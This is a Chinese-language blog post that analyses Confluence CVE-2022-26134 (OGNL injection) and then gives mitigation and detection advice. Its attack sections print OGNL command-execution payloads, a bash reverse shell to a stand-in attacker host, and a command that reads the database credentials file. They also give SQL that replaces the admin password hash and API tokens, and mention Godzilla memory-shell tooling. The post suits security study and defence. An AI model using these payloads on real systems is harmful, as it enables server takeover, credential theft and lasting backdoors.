1. CVE-2022-26134漏洞初探当Confluence遇上OGNL表达式Confluence作为Atlassian旗下的企业级知识管理工具被全球数万家企业用于团队协作和文档共享。但正是这样一个看似安全的系统在2022年曝出了一个足以让攻击者一键接管服务器的致命漏洞——CVE-2022-26134。这个漏洞的特殊之处在于它利用了OGNLObject-Graph Navigation Language表达式的解析机制通过精心构造的HTTP请求就能在目标服务器上执行任意命令。我第一次复现这个漏洞时发现它的触发条件简单得令人惊讶。攻击者只需要发送一个特制的URI请求这个URI中的特殊字符会被Confluence错误地解析为OGNL表达式。比如${java.lang.RuntimegetRuntime().exec(calc)}这样的表达式会被服务器当作代码执行。在实际攻击中攻击者往往会将恶意代码进行URL编码就像这样GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22calc%22%29%7D/ HTTP/1.1 Host: vulnerable-confluence-server受影响的Confluence版本范围相当广泛从6.13.0到7.18.0之间的多个版本都存在风险。我在测试环境中搭建了一个7.15.0版本的Confluence使用vulhub提供的Docker镜像可以快速复现这个漏洞docker-compose up -d confluence:7.15.0漏洞的严重性在于它不需要任何认证这意味着任何能访问Confluence服务的人都可以利用它。更可怕的是由于OGNL表达式功能强大攻击者不仅能执行系统命令还能直接操作Java对象、访问服务器内存中的数据这为后续的权限维持打开了方便之门。2. 从命令执行到权限维持攻击链的深度剖析2.1 初始入侵命令执行的多种姿势当攻击者发现存在漏洞的Confluence服务器后第一步通常是验证漏洞是否存在。最简单的方法是执行id或whoami这样的基础命令。但实际渗透中攻击者往往会采取更隐蔽的方式。我测试过几种不同的payload发现通过HTTP响应头返回执行结果是最不容易被发现的${org.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(id).getInputStream(),utf-8)}这个payload会将命令执行结果放在X-Cmd-Response响应头中返回。对于需要复杂交互的场景攻击者通常会选择反弹shell。在Linux环境下可以使用如下bash命令bash -c exec bash -i /dev/tcp/attacker-ip/4444 1但这里有个坑需要注意Confluence默认以confluence用户运行这个用户权限有限特别是在生产环境中往往无法直接写入web目录获取webshell。这也是为什么很多攻击者会转向内存马技术。2.2 权限维持的艺术内存马植入实战内存马Memory Shell是近年来红队最爱的权限维持技术之一。它不需要在磁盘上写入任何文件直接驻留在Java应用的内存中极大降低了被传统杀毒软件发现的概率。在Confluence漏洞利用中哥斯拉内存马是最流行的选择。我在测试中使用过BeichenDream开源的Godzilla MEMSHELL工具它的工作原理是通过OGNL注入将恶意Servlet动态注册到Confluence的Web容器中。注入成功后攻击者可以使用哥斯拉客户端直接连接就像这样POST /malicious-path HTTP/1.1 Host: target-server Connection: close Content-Type: application/x-www-form-urlencoded payload加密的哥斯拉指令...内存马的最大优势是隐蔽性强但它也有个缺点——服务重启就会失效。因此专业攻击者通常会采取组合策略在植入内存马的同时还会尝试获取数据库权限。3. 数据库渗透从Confluence用户到系统管理员3.1 定位和窃取数据库凭证Confluence的数据库配置通常存储在/var/atlassian/application-data/confluence/confluence.cfg.xml文件中。通过之前获取的命令执行权限攻击者可以轻松读取这个文件cat /var/atlassian/application-data/confluence/confluence.cfg.xml文件内容类似这样property namehibernate.connection.passworddbpassword123/property property namehibernate.connection.usernameconfluenceuser/property property namehibernate.connection.urljdbc:postgresql://localhost:5432/confluence/property有了数据库凭证攻击者可以直接操作Confluence的所有数据。这里有个技术细节如果Confluence使用的是PostgreSQL且配置为本地连接连接地址可能是db而不是localhost这是很多新手容易踩的坑。3.2 密码修改与持久化访问Confluence的用户密码存储在cwd_user表的credential字段中采用{PKCS5S2}格式的哈希。虽然无法直接解密但攻击者可以用已知密码的哈希替换原有值。例如将管理员密码改为123456对应的哈希UPDATE cwd_user SET credential{PKCS5S2}UokaJs5wj02LBUJABpGmkxvCX0qIbTdaUfxy1M9tVOeI38j95MRrVxWjNCu6gsm WHERE user_nameadmin;更隐蔽的做法是修改Personal Access Tokens。这些token允许用户不输入密码就能访问API。攻击者可以查询AO_81F455_PERSONAL_TOKEN表然后修改其中的HASHED_TOKEN字段UPDATE AO_81F455_PERSONAL_TOKEN SET HASHED_TOKEN已知token哈希 WHERE OWNER_ID(SELECT id FROM cwd_user WHERE user_nameadmin);在实际渗透测试中我更喜欢使用自动化工具来完成这些操作。比如PostConfluence这个哥斯拉插件它能自动完成从数据库连接到密码修改的全过程大大提高了效率。4. 防御之道从漏洞修复到纵深防御4.1 漏洞修复与补丁管理对于CVE-2022-26134Atlassian官方已经发布了修复补丁。企业应立即将Confluence升级到以下安全版本7.4.177.13.77.14.37.15.27.16.47.17.47.18.1或更高版本升级步骤很简单备份当前数据和配置文件下载新版安装包停止Confluence服务安装新版本启动服务并验证但补丁管理只是安全的基础真正的防护需要纵深防御策略。4.2 检测与响应如何发现入侵迹象根据我的经验检测Confluence是否被攻击可以从以下几个方面入手日志分析检查atlassian-confluence-security.log中异常的OGNL表达式解析记录特别是包含java.lang.Runtime等危险类的请求。网络流量监控内存马通常会建立长连接监控异常HTTP请求特别是带有加密payload的POST请求。数据库审计定期检查cwd_user和AO_81F455_PERSONAL_TOKEN表的修改记录设置触发器对关键字段变更进行告警。文件完整性检查虽然高级攻击者可能不会修改文件但仍需监控confluence.cfg.xml等关键配置文件的变更。4.3 加固建议让攻击者无从下手除了基本的补丁更新我建议采取以下加固措施最小权限原则Confluence运行账户应限制为仅能访问必要的目录数据库账户使用最小必要权限禁止超级用户权限网络隔离Confluence服务器不应直接暴露在互联网数据库服务器应与应用服务器隔离仅开放必要端口运行时保护使用RASP运行时应用自我保护技术监控OGNL表达式解析部署WAF规则拦截包含OGNL特殊字符的请求应急响应准备准备Confluence数据备份和恢复流程制定内存马检测和清除方案在最近的一次渗透测试中我发现一个客户系统虽然打了补丁但因为内存马未被清除攻击者仍能通过后门访问。这提醒我们漏洞修复后必须彻底检查系统确保没有残留的恶意代码或后门账户。